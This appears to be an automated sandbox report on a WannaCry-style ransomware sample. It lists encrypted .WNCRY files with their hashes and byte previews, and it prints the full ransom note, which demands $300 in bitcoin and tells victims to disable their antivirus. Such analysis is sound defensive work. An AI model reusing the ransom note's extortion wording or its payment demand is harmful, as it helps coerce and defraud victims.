                                      Preview:WANACRY!....NU..8..X....OD...#......'..~....#...D: c].......7.c....o.cf..h..k.QN.&.\.....[.4h.Lw.......a.......R..y...Y.=.Z..@...=.C..-E.E..Q...$s.+o2....=.t&....o6M.0.wP{._j.6j.h.M...c..x.pG../...|XUe.K.0.....m...........o....../....Id.....AW.y.C.))................#...s.,............Dv-.L.6.G....[...4.r.`..zjI^......_v.{$3.t.~.#.$.4..._.x..q..,cU.2......).i.....b...V.vH..i.d9h>..Q....<.....3DB9.`.Y]w.]o.DRf._R..&.I:E..P..x....nH.b&..~.(#'.fD"..c.#,>...T....=vl..a.k...".q.rF..g......z....@..g.(..{d[.....FDq..D.F..........C.2+v.:..X.6.$\..Q<V\...i...r.T.~#..l..S......s.w..:......{.0G.m.../.w~......m/cq......M*.....go!$...G................{z........M..iM..Ax.|.[!...._48.~UG*.qOJe....%f...J.....M."~..M"..Gz.D+.....N.......{...1B...(..+1..........1..K.&.n.3..j...{.T.~^l..aI"a@..&p.........7.1.r[.."w.....X|..O#..%..fg.l.{.k.Eb..w.][.4.,.."..."T/.g+.....}C"(D..Ov.c.r._..$.}yHJ.|..X.J....u..7..;5..&.oB..r...+.qe....-v...'...BN..o..L...a..

                                      C:\Users\user\Desktop\ZQIXMVQGAH.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.785582743248352
                                      Encrypted:false
                                      SSDEEP:24:4Ivj5ddgP2agVnfz9xmkcTeSAhjPv/PkFAMAmUJOvQDr4ZWHYPn:4IvjHa2agpj+ySGrPkFARmBvQn4
                                      MD5:CC2D1E16D518A1660B9C6E7DE5BE5B78
                                      SHA1:BAFE81F79C84DC877369052C2E503E53D7D02295
                                      SHA-256:198A316941A7BBCE7E97D83A3B659302F613457C0D1F4AFCCD49B41A42C4EE6A
                                      SHA-512:838DF64128F6C8DDB64974E348E574676621ECB701FCFB9215E284272485D9482B189C4CFB3B45AAA063D3EE8A4005995AA9FD91F2839E207AC5101998ACF4CB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.&......u1>#...&z,.{.2...GW.@.....Z).A..|8C|.....K....~../.`w...w...=....v........<..."l.P....b.T..."...e.5..Z..a..3\C..3...G..G...8...\.wz..)...;D....q..Nq/...W.cx../..0FO4..gv..`.g.(.(br&...1..e/.Z.-.MLZ1..P..|.u.I.y.U.#,.*..F ...&.....7..[.|"...u.3.....6.Mv3.....C$..m^.wA..........~f.e...j..+..Z..V=9..M..dR..w...u....<j.........7wv.'.Yu.0}.Ug..g..-g.3.....v...j..+..3.f.;......*.pE&!#...rp...*..g&J......^..<b=...M..or...k..p.D.....yU....;S:..~va...3......T....k.......P{..".,.... .X. ...!...o.?.g|...i./..`....+..J...C......-.S....kF....#.Q...9,.....7Lf.,{4..%D...nA.;.\..8..z..KH...L.~o@e..W.~./.*..t.`~&.f..Lk.^.b.....u.....p~}%...F.....+.k._.....z..iKC.U.v..O#H..PV.....}..}>.r..FeI"P..w).._B...\@.t.]...^&qT...../T.WRx..V..lN..AD......<...N&....+L...4...4x.hrg+[....`......&lt..-B. .b.5...{.^N.7..,@.=FQ.;....1F,...}B.].....77........<.Q...r,.v.}...`..-N;...]...\b,....E..J..{.......) O.t O.. `%...3...8.....A)Dy1D&Mi..I...^...2.)G.q<

                                      C:\Users\user\Desktop\ZQIXMVQGAH.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840968620198295
                                      Encrypted:false
                                      SSDEEP:24:bk+hNk6UCDEjzco6E9wlNF+zJtzd9oLyNgDy6UxlcU4AF6sCd35sNNR8:bkONk6UCAjzHtw3FyJddMNax+zAF6Zz5
                                      MD5:E69838F61B46F77B2A1861DEE385186D
                                      SHA1:63291D9B60541F49A64292245CAD2FE4C928DE15
                                      SHA-256:C6F71AC4AF324A724E14BE2ECFFA3D53F8D6C9EFD5E6A6F23F6EF1D79440CB69
                                      SHA-512:383142E0553A2473903E8776507532F10914F9808AF21FCD1950C42EBD31456B7476956E861B38FF9C44F6ADDD36FB0F2E1ABEA424D3B73EEBE537D2608FC028
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....D.F........:..b...@V...Az....,AJ..i%(...R;. .."..1)...O........Kmk....w...A..K.w..X....d......b9.J.Z..~m.G1.tUt&....].`).4.Z..!>\..L.V..v......qF.o.{............S..O.....%w~].......A..z....S!.....z....B........#..P..#..iV.8...6.pXY5Q=.............>.{._....%....W.hq...Q)..(.?.. ....I.q.0.,......b...B..x.....8..P..O..::r..c1.IK.....=F..$b.......,.u..H.....IG.~......v^\O.LQ.........z.....0Zo...l..#0hP...m.........z.f..+......MU....L<7....~<3....U_Iv...Q..!t...j.a'....r. H%.v.Bp5......Z..wa....%5..e.&...)<...DS&ve....<..>A...<.I.I<#.....st...Ai.pX.].'...m.S`....,..n. ?@2....F...6JX.T.*.K....j..qO..z.\..5.<<g.....!|f.T.N8R%....\,......3.R.. ..Ef.&pmH~..... VD..Ms.Z.b..`".o.#5....Y..{..q...x..d.=B.s..B..c.-f.._.8WX.kU...w.<..S...f../....2..ASy.@>..B..o...c:.o....`,c......S%&..G.B.....a..y..J...,.t..h..Q.Jel.Jv..f..S..I.n[3.^e.b....$.}......\.MO]..!7Kw9a....>.$...l.t...e-;*...$.B...._...P.nFc'.Ih...-..g...R*K.SpR..S.k.|.....

                                      C:\Users\user\Desktop\ZQIXMVQGAH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840968620198295
                                      Encrypted:false
                                      SSDEEP:24:bk+hNk6UCDEjzco6E9wlNF+zJtzd9oLyNgDy6UxlcU4AF6sCd35sNNR8:bkONk6UCAjzHtw3FyJddMNax+zAF6Zz5
                                      MD5:E69838F61B46F77B2A1861DEE385186D
                                      SHA1:63291D9B60541F49A64292245CAD2FE4C928DE15
                                      SHA-256:C6F71AC4AF324A724E14BE2ECFFA3D53F8D6C9EFD5E6A6F23F6EF1D79440CB69
                                      SHA-512:383142E0553A2473903E8776507532F10914F9808AF21FCD1950C42EBD31456B7476956E861B38FF9C44F6ADDD36FB0F2E1ABEA424D3B73EEBE537D2608FC028
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....D.F........:..b...@V...Az....,AJ..i%(...R;. .."..1)...O........Kmk....w...A..K.w..X....d......b9.J.Z..~m.G1.tUt&....].`).4.Z..!>\..L.V..v......qF.o.{............S..O.....%w~].......A..z....S!.....z....B........#..P..#..iV.8...6.pXY5Q=.............>.{._....%....W.hq...Q)..(.?.. ....I.q.0.,......b...B..x.....8..P..O..::r..c1.IK.....=F..$b.......,.u..H.....IG.~......v^\O.LQ.........z.....0Zo...l..#0hP...m.........z.f..+......MU....L<7....~<3....U_Iv...Q..!t...j.a'....r. H%.v.Bp5......Z..wa....%5..e.&...)<...DS&ve....<..>A...<.I.I<#.....st...Ai.pX.].'...m.S`....,..n. ?@2....F...6JX.T.*.K....j..qO..z.\..5.<<g.....!|f.T.N8R%....\,......3.R.. ..Ef.&pmH~..... VD..Ms.Z.b..`".o.#5....Y..{..q...x..d.=B.s..B..c.-f.._.8WX.kU...w.<..S...f../....2..ASy.@>..B..o...c:.o....`,c......S%&..G.B.....a..y..J...,.t..h..Q.Jel.Jv..f..S..I.n[3.^e.b....$.}......\.MO]..!7Kw9a....>.$...l.t...e-;*...$.B...._...P.nFc'.Ih...-..g...R*K.SpR..S.k.|.....

                                      C:\Users\user\Desktop\ZQIXMVQGAH.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.81326173829811
                                      Encrypted:false
                                      SSDEEP:24:BhVB3KyQqr/XUEjxSJQzXtNa6UbK1HSy/cQpscGDrDnkZq19yOmQjn:BTNTQqlSuzy/W1HL/c49GDrrz9yjQr
                                      MD5:84DD4EB8CAB72CE7917327695BAD2224
                                      SHA1:8C8EB284D83F2D38A9A13EE1186A1D0EDA309915
                                      SHA-256:7575475E6666046AA4BBE95621BE0571DCC72951ACB2918A85074F5D7627C893
                                      SHA-512:1BF473EEE4D545DD0F38366EE5CC1D0063A27C5E34ADE41CAE651853ED69945D6DE9190BF737ECDE5C7C57728DAE790E13362F152B23631F38AF0E267B3B9E72
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:-V@..W...Rc.4Kd,f.d...KC.K8L/..l..z.K..E..BD.....U.Z`@..k....ot^4..}..M.gE.!........W...*.........*.....Z.CB.!)..P.O..........lfk.....8.G.y..%.[wO........s.*.a......].....b....xtq......=.......UU..<.........Q.E..r..vxvP..J%N.D......l..6..hr.nf(.N7.y....-....i.tL.sX.V#64.N}..6*VQoRZ........E...4..`....!v..z...iS..e...T.*..G...z....4...(......R........j..`,Z;...2a}.......B._l...Tq.l.....>...=.;l..@t.yP.../..{.....iq.o.h....g......!....p.Y.j.!w@.@<.?...w....h....35.h@.~.s.K...."...6...b..N:fX.{.V..K..u..8_.....X.t1..j.h3....4.w...@Q.8VL.q7\tCcUn...O*......% ..'..Y..k"Z....pD..*.......@..@...m..d..-..u....v.3.6.C{.......O.r.k..@...j..C..D.~8A4...0....?.I.!.W}.)....?.M:..a......-B..qia..k.6....g......:X.......~:Pg....B.....3.i.t#6],6.^..x.E#..gd..:H........6.....3.._..<6.8p]..d&2E..u...<...+.SGVy0QI..Ij`.1..1.H...~`Z.u..... q....T.U\p1.F.k..].h.-..kS._|.k.[.9./q7...w.c.....-.Nqy...UY.-'.-.zU~......nxU~.w..kt.......l..b.......m{..Xo2..x.uz...

                                      C:\Users\user\Desktop\ZQIXMVQGAH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.83287216349709
                                      Encrypted:false
                                      SSDEEP:24:bkjKbU/fVO3TBUmEFN81Wex7bfM8FqkVr7JOPaXZKTlbQvKpGMHupgpLG0:bkOSVETBUlFN81Dbk8NVxEa8NQvKpJrP
                                      MD5:36395C5A331508E4E607B71A2220927F
                                      SHA1:6F213C294E12016AB06D90D58486C90820E45FDD
                                      SHA-256:0FEA58B478026A9D64E8B4C6DC1E341FEFDDA9789A866CA1AB0F42CCC682826F
                                      SHA-512:901DC9B98674AB9B0FC56C5D2CD0DA9895BCC6076C9D0A24FCCB72F3B1D0E6521FA971598B500EF6A5193283AB82411789E4C4701ED4850D996546DB9977AE5E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....v.<.S.B..HZ..._.E<8.h..m..D.....s...`c..e....x.;.$....-S..Y<V%..n.,.L.../F....;.o=1...Eo.T....3..2_..H....{..T;...l...H..).<x..&..U.o.D.w..qK........U....F..\..r..w."..K.........7.E.8X...6...%*...@....~....V....8@....%4.....N.x.....GieH9=.=..b............8.8.z<.e.z.r..@1dPQ.|..H.s...a.....?......B..v.-.u.g]E..."...z....f..y.tF@V.......#Q2..^..>.-.b......;u....Q.t......AL\.-.......*.A...}..t..b........\,..Q...T>..6....p........B>z.#..vsD..K.Y..=Zfaj...a..]....I.......b@..?..L..y.z%..DLf.l..=.A+.....*..f..L.0.0..o~...g.X..4.'N...W..(...v.G Nd.Y...de....}H...*c.....C.mPcU....^7.H+....y.......>Y%..H.D.........<.R-@..d*.9.xp.k ..$....uE..k.......u..>.N{h..mL\*^8o".D..~........P.1..?.O..zLE..?........-.`.!W....x.iu..:....TkG$.^>5Z..?....Y.....5....1....x..X*#.....u@.....-.$...w..#.....EP......I.^<.......x0...e...nZ...,[%...^cx.A..}.*ogO..b..2..O.j.|..4..5...ul...q[......o].f..~a.....Y.?....H.*......5.U.!;..:...".n..(O..z

                                      C:\Users\user\Desktop\ZQIXMVQGAH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.83287216349709
                                      Encrypted:false
                                      SSDEEP:24:bkjKbU/fVO3TBUmEFN81Wex7bfM8FqkVr7JOPaXZKTlbQvKpGMHupgpLG0:bkOSVETBUlFN81Dbk8NVxEa8NQvKpJrP
                                      MD5:36395C5A331508E4E607B71A2220927F
                                      SHA1:6F213C294E12016AB06D90D58486C90820E45FDD
                                      SHA-256:0FEA58B478026A9D64E8B4C6DC1E341FEFDDA9789A866CA1AB0F42CCC682826F
                                      SHA-512:901DC9B98674AB9B0FC56C5D2CD0DA9895BCC6076C9D0A24FCCB72F3B1D0E6521FA971598B500EF6A5193283AB82411789E4C4701ED4850D996546DB9977AE5E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....v.<.S.B..HZ..._.E<8.h..m..D.....s...`c..e....x.;.$....-S..Y<V%..n.,.L.../F....;.o=1...Eo.T....3..2_..H....{..T;...l...H..).<x..&..U.o.D.w..qK........U....F..\..r..w."..K.........7.E.8X...6...%*...@....~....V....8@....%4.....N.x.....GieH9=.=..b............8.8.z<.e.z.r..@1dPQ.|..H.s...a.....?......B..v.-.u.g]E..."...z....f..y.tF@V.......#Q2..^..>.-.b......;u....Q.t......AL\.-.......*.A...}..t..b........\,..Q...T>..6....p........B>z.#..vsD..K.Y..=Zfaj...a..]....I.......b@..?..L..y.z%..DLf.l..=.A+.....*..f..L.0.0..o~...g.X..4.'N...W..(...v.G Nd.Y...de....}H...*c.....C.mPcU....^7.H+....y.......>Y%..H.D.........<.R-@..d*.9.xp.k ..$....uE..k.......u..>.N{h..mL\*^8o".D..~........P.1..?.O..zLE..?........-.`.!W....x.iu..:....TkG$.^>5Z..?....Y.....5....1....x..X*#.....u@.....-.$...w..#.....EP......I.^<.......x0...e...nZ...,[%...^cx.A..}.*ogO..b..2..O.j.|..4..5...ul...q[......o].f..~a.....Y.?....H.*......5.U.!;..:...".n..(O..z

                                      C:\Users\user\Desktop\ZTGJILHXQB.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.818524563437469
                                      Encrypted:false
                                      SSDEEP:24:aBL2JnL88RSobbKGw9/8zBtMZTrDOEpHwecw0MGT+VFIo8ui:aIJnw8RXLu/8zLQPqEpHws0M4+vItX
                                      MD5:1A68847BEB31F533E8E2624A43FBA0E5
                                      SHA1:7D9916238615D106896FA00848FAC9740A6D49A0
                                      SHA-256:F556C51B1D8F6CA56680591441923F30279CC13218AAF2F4D61A4135864AD582
                                      SHA-512:D1B988F2A0F2CEBA071F0D89E208FB986B74CB2D2C9E093AA81F225E393E6E81DAF15B77D5CAB97AB1698053D4AD359555FEF2E59EA3DA2042AE10E03229100C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:".w.H.Xf..K..=.Q'......x.$N...45.^..!T........:. UG.7...7...Zj.mX.b.....t..1...a.jBS..8.~e..{...o*n..U{.Z.J.pR...).,...*..G..x...h....I......,.&_...Z..?.9......y."J`6'..,...=...Q....i0:...qR.!r...]....s._X..........3.u..j:..BoI....^.B.V..Bn..h..iT.*~*x....&..@$..K{..G.y)..N.a.C./_i.WJ...<.R..o....I.h..@.BFR.H..5.PJ.D.2}\...SO.<.q-t..f....6T<dl.....%.........3....C..K..1.......X..U]H.....zBJ...3:........ ....B...s$c'..G...C..Wh...u...}S.~...../...[-W..Eh_.8.0.....J..y...B.Iy..<Y5T.!.o.%.V*.c.D.........Ak...F#...F= .....-.a..foH..I.5.M@....v.f4......1TT.q..0...'...+^>xx3N'...\C~Z...........;.}JA.<v.9..1....w....&..V.AV.fHz2F..x. DI.'...sF.L..;...ib..=....5._.[.{.F.....@.s...=...uK...`x3.gv^ ^..E.W.q..-Qf.E=89..../W^...r(.....]..D...&1.^. ...%!t...1zZ.~.._.0J1.`.4.B`....s.F..U.h.S....[<.h..B.E....zO..ns"..g.Z`zO{.l.....3.l...}......x.E...&y.e?w.I..d......@,..r.d..L.lZ5_}..&...(.Eh.iVQ.._.J8M.j.D(]-...c..+.....t<..<.~....dE.C.i..Lg...;z|...

                                      C:\Users\user\Desktop\ZTGJILHXQB.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848270716917975
                                      Encrypted:false
                                      SSDEEP:24:bkp6BFiSQvgRARIDhH9dU6yZcsYLgkWjYRpdmwEnX4Oif/y9qFOr627grWw3:bkEBFhOWAmDxfndsYLgeRpEwEX4vywFR
                                      MD5:EC70813EA0D44A5BEC16C469C9C98800
                                      SHA1:8BDDF93246272AE0C1D129A9F76D0A1ECAA553A3
                                      SHA-256:77243DCF80406E4832298F454B4CE70CE30A1F582703D802B438948040E4DF58
                                      SHA-512:430367318FBA4829E9C843D7FA4AFBF945C8CF5B753B81FD07E85817CF04EA3A999CE4630B1FA3C8F51557E304FF0DE6E31711506ED2A2374B66DE557588F973
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....K...2.&.X.,.v.0N.1=.>U.h....5lT....O.D..C...R.)..6...................dMG.8.@..`....0..3..8.zH.(...5..B&t.t....j9..u....sF..,.&@.$..!...6.z...@...o\<&..m:.....W..3d.m......=.:..l..#T....J.}....9....g..xK..}{/h#h.....ab..wy..Dn.....?.m..7LET.............Rm2:Mo...!A.3..&..z....h`.A.l....T....^...@..5.V.x.....v.........%....p.g.._..!.X...V.Q81.m.s.u._......Q..`...g .B.6.......o........`_;@[w3..........R2........Q#....4.Pj.....S..G...$+...b.o_t..1^Gx..5g{...4.z..E......"....{....C...].*.......j.{E.u..._....).....L....(?.*[.../.....'.4b..k..5.LU.P.*7..-]G.....%.oKhj0xi5v...E=p...5`;K..<...a$..<,D....a6CU.n...........r..}xs35<s.G<L......[B...>[h.'.t.....qY&c{.@...!.T!,..y.n{h....j...=+{3F..}e......D..7S.v.1.u.'.....x...7.MX'.l~q....2"Z.."t.Z...K..C.i.Q.5#.=.D.cs....q..=mi..'>9M..>E..W..a...yv.Q.x....=YT..9......:....a;&G..*-.....s.xP..l......*w..{....z.....7...S!3.F.@.......O.m........`.A.7..NlU......z.Z.{....d_q.|..I..~.1MW)GZ..yB

                                      C:\Users\user\Desktop\ZTGJILHXQB.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848270716917975
                                      Encrypted:false
                                      SSDEEP:24:bkp6BFiSQvgRARIDhH9dU6yZcsYLgkWjYRpdmwEnX4Oif/y9qFOr627grWw3:bkEBFhOWAmDxfndsYLgeRpEwEX4vywFR
                                      MD5:EC70813EA0D44A5BEC16C469C9C98800
                                      SHA1:8BDDF93246272AE0C1D129A9F76D0A1ECAA553A3
                                      SHA-256:77243DCF80406E4832298F454B4CE70CE30A1F582703D802B438948040E4DF58
                                      SHA-512:430367318FBA4829E9C843D7FA4AFBF945C8CF5B753B81FD07E85817CF04EA3A999CE4630B1FA3C8F51557E304FF0DE6E31711506ED2A2374B66DE557588F973
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....K...2.&.X.,.v.0N.1=.>U.h....5lT....O.D..C...R.)..6...................dMG.8.@..`....0..3..8.zH.(...5..B&t.t....j9..u....sF..,.&@.$..!...6.z...@...o\<&..m:.....W..3d.m......=.:..l..#T....J.}....9....g..xK..}{/h#h.....ab..wy..Dn.....?.m..7LET.............Rm2:Mo...!A.3..&..z....h`.A.l....T....^...@..5.V.x.....v.........%....p.g.._..!.X...V.Q81.m.s.u._......Q..`...g .B.6.......o........`_;@[w3..........R2........Q#....4.Pj.....S..G...$+...b.o_t..1^Gx..5g{...4.z..E......"....{....C...].*.......j.{E.u..._....).....L....(?.*[.../.....'.4b..k..5.LU.P.*7..-]G.....%.oKhj0xi5v...E=p...5`;K..<...a$..<,D....a6CU.n...........r..}xs35<s.G<L......[B...>[h.'.t.....qY&c{.@...!.T!,..y.n{h....j...=+{3F..}e......D..7S.v.1.u.'.....x...7.MX'.l~q....2"Z.."t.Z...K..C.i.Q.5#.=.D.cs....q..=mi..'>9M..>E..W..a...yv.Q.x....=YT..9......:....a;&G..*-.....s.xP..l......*w..{....z.....7...S!3.F.@.......O.m........`.A.7..NlU......z.Z.{....d_q.|..I..~.1MW)GZ..yB

                                      C:\Users\user\Desktop\ZTGJILHXQB.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.825199563057195
                                      Encrypted:false
                                      SSDEEP:24:slpONq57cC3XevedX6TEPx1k6516baS/ZoiPCeEhj4sDG/dMWfu:syY57cC3XeEX6cx1k61oSjli/dju
                                      MD5:78C872E4E2A91D8FDA7838CAAAAA0EC9
                                      SHA1:CA090FB76260C2FEE5F3E29AAFB45CC34ACAFD7A
                                      SHA-256:664A88BEA8C0FA4DB6201D75D08106944A0E7E2E513C83A29561D53F6DBE98AC
                                      SHA-512:EB0C30583BB1583F1392EB5AAF745A5C2BD796A5707471DF94C96B6B4DC98D4449BE1DF6386E19503A9B5E4D2B7BD5F03015901B9964A5D870E75497C0620688
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.\A..T1.K...%....M.ct!I..*:.....F.P.6.rA.N.^..:F....$J.....^1\.X..,]L...daL....`..x.A.F.....,.,.$.y.W...}....UW.."..;.....k....$#z..T......F..g......V..xJ{.-&........O..0.S.(...x.....c..o...bs....i:..Z.^....X.......,.7....|..c.....l.d.x.*`.6..f..K,.NjH....."WA....T..l..t..7!!}w.~..g...T...yS5.....He.95j....s.x............... +O....7]-.....7.Q....R.9.f._.b.p..?E....[.......h...].......K.....I.V...zj....G.z4Z.;.-4....X.H3.........!6}/...~...m.o.../`[..-...../.D.....T.W20T%.y..fI...J.`..Ex.G....W?..+y.?.^.....x$.E.Ma*kPK<..6^3g...5..v.....&..h...D.VG....<...g},^.sK6. ...vL?S._....u...D..zd.........qa.d....'...<.'...?..J..K.U.O.....Z4..e.....s-{.F.....8.mP........9.....l{C....ce)...F.z..P.?.....=....$.}R.B......N+....11..m...<F[.@.....c....&.....)R~...z..J...6...n...f....j..S....>..\..D{..Sx......LY...,.......C.... T..{.....]./yE.?...]...z\8.-{..v... ...... .......0.cZW...I?. ....b.L....U.1.......A~...m...v.$.3..Qo.........n..&z(.D.s

                                      C:\Users\user\Desktop\ZTGJILHXQB.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841385514840095
                                      Encrypted:false
                                      SSDEEP:24:bkwtB4pT7ZjZlfSeVRbtVCeZv07Oe6z2T+ISqTpFj98SW778QlIw9Vomc73oLG4B:bki0fZzf7VXZv07iz2ViSW5Z9VZKYLGs
                                      MD5:FB5A450AEB6C55980D8645B46D30A470
                                      SHA1:7DD58C8299D15AB2575FA535B04146CFAC46A0E0
                                      SHA-256:DDC8DD186A5525EAB79763BD4825D58D1BEF4786436617D845CF623FE0A7131E
                                      SHA-512:1C7CADD71CFE9FC9A20212407203A4E93AF932BDE487177BF52A9FEE71E6C1204EBE24FC305CDC2F7D3F58D56035F91125F38478E6CFF85A0E9C7DC89B05DCD0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........v........h.N.^@i.G...".'U.k.x..4..RS.#..-.}6..B?....V..^!..E........E....lz..5.....R.........Y...Z.w...e.a..R.....lwQ..Sy:w........~.8@...SDnBwwz.....:u)"...{.d..1.|.".......A3..-.QU....r*r.....k8.a*....O.O.......sn~..l+.6.....=z..._...vq8.v.............@9g.(n.['^...-..k. -......6.....+.*....1.p.0.O.y;X..q.v..Q'.....~.6q.Jn.+.H.[..q..F.....]....P..0.U...........tTt..w.e`...;u..nMZ3).u..~...uH.F.....t.'T.qm...l.e.X:B.................s^@......+.).L?.|.....u4._.1dK.....Ec4/...b2.a...../.<....M<....i.Lp..G\..ae...c...PB*L~......~.89W.......Q.....a.>z.x.Uc...A.._<.u.8..5..;..Z...............\.r..x..i.0;[x-).!kp.]...R...sM......<.oy.i{ ......{.}j.n$!...[7..=..|@u...u..p~..Z.x...T..g.......K}..>..'-p....&w1!6...;9..*.Qh.H...:.L...B9.u.&*.!7T.q.X....s.hv.c.&..pR.X./a...W....g]..lZ.F....f...........}..C.x.....C&.t..m.^.|.S3..C..9v...[.".Zt.:.../z?#.g.xZ. %..-p%..|...9)E.>.a.:.?7.......v..P|....k/.f%O|"7.7eo..D..-.d>........t..

                                      C:\Users\user\Desktop\ZTGJILHXQB.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841385514840095
                                      Encrypted:false
                                      SSDEEP:24:bkwtB4pT7ZjZlfSeVRbtVCeZv07Oe6z2T+ISqTpFj98SW778QlIw9Vomc73oLG4B:bki0fZzf7VXZv07iz2ViSW5Z9VZKYLGs
                                      MD5:FB5A450AEB6C55980D8645B46D30A470
                                      SHA1:7DD58C8299D15AB2575FA535B04146CFAC46A0E0
                                      SHA-256:DDC8DD186A5525EAB79763BD4825D58D1BEF4786436617D845CF623FE0A7131E
                                      SHA-512:1C7CADD71CFE9FC9A20212407203A4E93AF932BDE487177BF52A9FEE71E6C1204EBE24FC305CDC2F7D3F58D56035F91125F38478E6CFF85A0E9C7DC89B05DCD0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........v........h.N.^@i.G...".'U.k.x..4..RS.#..-.}6..B?....V..^!..E........E....lz..5.....R.........Y...Z.w...e.a..R.....lwQ..Sy:w........~.8@...SDnBwwz.....:u)"...{.d..1.|.".......A3..-.QU....r*r.....k8.a*....O.O.......sn~..l+.6.....=z..._...vq8.v.............@9g.(n.['^...-..k. -......6.....+.*....1.p.0.O.y;X..q.v..Q'.....~.6q.Jn.+.H.[..q..F.....]....P..0.U...........tTt..w.e`...;u..nMZ3).u..~...uH.F.....t.'T.qm...l.e.X:B.................s^@......+.).L?.|.....u4._.1dK.....Ec4/...b2.a...../.<....M<....i.Lp..G\..ae...c...PB*L~......~.89W.......Q.....a.>z.x.Uc...A.._<.u.8..5..;..Z...............\.r..x..i.0;[x-).!kp.]...R...sM......<.oy.i{ ......{.}j.n$!...[7..=..|@u...u..p~..Z.x...T..g.......K}..>..'-p....&w1!6...;9..*.Qh.H...:.L...B9.u.&*.!7T.q.X....s.hv.c.&..pR.X./a...W....g]..lZ.F....f...........}..C.x.....C&.t..m.^.|.S3..C..9v...[.".Zt.:.../z?#.g.xZ. %..-p%..|...9)E.>.a.:.?7.......v..P|....k/.f%O|"7.7eo..D..-.d>........t..

                                      C:\Users\user\Desktop\ZTGJILHXQB\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Desktop\ZTGJILHXQB\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
